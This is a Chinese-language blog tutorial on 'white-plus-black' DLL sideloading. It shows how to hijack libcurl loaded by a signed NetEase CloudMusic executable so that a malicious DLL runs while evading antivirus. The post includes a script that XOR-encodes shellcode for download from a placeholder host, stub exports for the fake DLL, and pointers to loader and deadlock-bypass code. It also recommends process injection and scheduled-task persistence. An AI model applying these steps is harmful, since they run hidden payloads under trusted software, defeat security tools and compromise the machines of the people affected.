白加黑实战篇
文章最后更新时间为:2024年04月10日 23:21:38
最近需要做一些免杀和后渗透的工作,将一些偏向实战性质的笔记发在这里,给博客清清灰。
1.白加黑原理
1.1 什么是DLL
动态链接库 (DLL) 是一个模块,其中包含可由另一个模块 (应用程序或 DLL) 使用的函数和数据。DLL 可以定义两种类型的函数:导出函数和内部函数。 导出的函数旨在由其他模块调用,以及从定义它们的 DLL 中调用。
DLL 提供了一种模块化应用程序的方法,以便可以更轻松地更新和重复使用其功能。 当多个应用程序同时使用相同的功能时,DLL 还有助于减少内存开销。这也就是DLL的实际应用场景
1.2 加载DLL的两种方式
加载DLL的可以有两种方式动态加载和静态加载,动态加载,下面我们编写一个dll,实现一个
首先在vs中创建动态链接库项目
可以看到有如下目录结构,可以看到有framework.h、pch.h、dllmain.cpp、pch.cpp四个文件:
其中
- framework.h 文件用于包含项目中需要使用的头文件,可以看到已经默认包含了windows头文件
- pch.h 是预编译标头文件,dll的导出函数应该在此处定义
dllmain.cpp 文件包含程序的入口点,在 dllmain.cpp 中实现的在 pch.h 中定义函数,当然也可以在其他 cpp 文件中实现,如 pch.cpp 等
- DLL_PROCESS_ATTACH: // 当DLL被进程加载时执行,每个新进程只初始化一次。
- DLL_THREAD_ATTACH: // 当线程被创建时调用
- DLL_THREAD_DETACH: // 当线程结束时执行
- DLL_PROCESS_DETACH: // 当DLL被进程卸载时执行
1.2.1 动态加载
生成 windows 空项目
然后创建a.cpp文件
#include <iostream>
#include <Windows.h>
using namespace std;
int main(){
// 加载 DLL
HINSTANCE hDLL = LoadLibrary(L"DemoDLL.dll"); //动态加载dll链接库
if (hDLL == NULL) {
std::cerr << "Failed to load DLL." << std::endl;
return 1;
}
// 获取 DLL 中的函数指针
typedef void (*DllHiJackFunc)(); // 定义Dllfunction函数类
DllHiJackFunc dllHiJackFunc = (DllHiJackFunc)GetProcAddress(hDLL, "DllHiJack");
if (dllHiJackFunc == NULL) {
std::cerr << "Failed to locate function." << std::endl;
return 1;
}
// 调用 DLL 中的函数
dllHiJackFunc();
// 卸载 DLL
FreeLibrary(hDLL);
}
此时如果删除DemoDll.dll,一般情况下程序会奔溃退出,而不会弹窗
1.2.2 静态加载
将pch.h、demoDLL.lib、DemoDLL.dll复制到当前loadDll的项目根目录文件夹下面
lib 文件中包含一些索引信息,记录了 dll 中函数的入口和位置,lib 用于在开发编译时使用,dll 则在运行时使用。
在开发程序时使用 lib 需要两个文件:
- .h 头文件,包含 lib 中说明输出的类或符号原型或数据结构。
- .lib 文件。
如果你将导出函数定义在 pch.h 文件中,那么开发时就使用如下代码包含这两个文件,当然不要忘记将这俩个文件复制到 dlltest 项目下:
#include "pch.h"
#pragma comment (lib, "Dll3.lib")
这样在开发时就可以直接使用 Dll3.dll 中的导出函数了,不需要使用 LoadLibrary 导入 dll,程序执行后会自动寻找相应的 dll 并导入。
#include <iostream>
// 引用dll的函数定义的头文件
#include "pch.h"
// 加载dll的lib库文件
#pragma comment(lib,"D:\\Desktop\\cs\\20240401白加黑\\LoadDll2\\DemoDLL.lib")
// 声明 DllHiJack 函数
void DllHiJack();
int main() {
// 调用 DLL 中的函数
DllHiJack();
return 0;
}
此时如果删除DemoDll.dll,运行会报错
1.3 什么是白加黑DLL劫持
大部分程序在运行时,都会调用相应需要的dll链接库,我们可以替换这个dll文件,来执行我们自己的代码,这就是DLL劫持。如果可执行文件带了合法签名,则这个可执行文件是在杀软白名单中的,也就是白文件,我们编写一个恶意dll,搭配这个白文件就能绕过杀软检测,所以白加黑通常也就是白exe+黑dll。
当exe需要调用dll时,会去系统搜索dll的位置,默认情况下搜索的优先级如下:
- 加载应用程序的文件夹。
- 系统文件夹。 使用 GetSystemDirectory 函数检索此文件夹的路径。
- 16 位系统文件夹。
- Windows 文件夹。 使用 GetWindowsDirectory 函数获取此文件夹的路径。
- 当前文件夹
- 环境变量中列出的
PATH
目录
上述搜索位置见https://learn.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-search-order
2. 首先寻找白加黑的exe和dll样本
- 手工查找:可以直接将exe复制到单独的目录,然后点击后查看缺少哪些dll,如果只缺少一个dll,则可以拿来当白文件。
自动化查找,推荐用这个工具就够了,别的也用不着那么多
3.白加黑实战
这里首先找到网易云音乐的cloudmusic_reporter.exe加载了libcurl.exe,且exe有签名,且exe为64位,完美符合我们的需求。
3.1 下面创建一个远程shellcode
# 将shellcode的二进制文件与0x88异或,然后以16进制保存在文本中
def xor_with_cc(data):
return bytes([byte ^ 0x88 for byte in data])
def main():
# 读取二进制文件
with open("payload.bin", "rb") as f:
binary_data = f.read()
# 将数据与 0xcc 进行异或操作
result_data = xor_with_cc(binary_data)
# 将结果以十六进制格式保存到文本文件中
with open("shellcode", "w") as f:
f.write(result_data.hex())
main()
最终保证http://xxxxx.com/shellcode访问可以得到这个shellcode
3.2 创建一个dll项目,添加导出函数
下面的导出函数是从https://github.com/HexNy0a/SkyShadow工具生成的,直接将其复制到dllmain.cpp中即可
extern "C" __declspec(dllexport) int curl_easy_getinfo() { return 0; }
extern "C" __declspec(dllexport) int curl_global_cleanup() { return 0; }
extern "C" __declspec(dllexport) int curl_global_init() { return 0; }
extern "C" __declspec(dllexport) int curl_easy_perform() { return 0; }
extern "C" __declspec(dllexport) int curl_slist_append() { return 0; }
extern "C" __declspec(dllexport) int curl_easy_init() { return 0; }
extern "C" __declspec(dllexport) int curl_easy_setopt() { return 0; }
extern "C" __declspec(dllexport) int curl_easy_cleanup() { return 0; }
3.3 在dllmain中解决死锁问题
直接导入https://github.com/Neo-Maoku/DllMainHijacking/blob/master/DllMainHijacking/dllmain.cpp中的UNLOOK();函数即可
3.4 执行远程的shellcode
这里采用的是远程访问shellcode地址,然后执行shellcode,代码直接看https://github.com/xf555er/Shellcode_SeparationLoad
代码这里就不放了
4. 其他
4.1 dllmain中执行shellcode的两种方式
- 解决死锁问题,然后在当前进程中执行shellcode
- 进程注入的方式,比如“通过 CreateProcess 创建一个 rundll32 进程并在其内存中分配内存写入 shellcode,并通过修改其程序计数器 Rip 指向写入的 shellcode 地址,然后恢复线程执行 shellcode。也就是说并没有在 DllMain 中上线而是在其他程序中上线。”
4.2 关于持久化
最好是在白加黑执行过程中同时做好持久化,我喜欢用计划任务,绕过杀软的方式比较多,利用一些小众接口即可,上线后做持久化更容易被查杀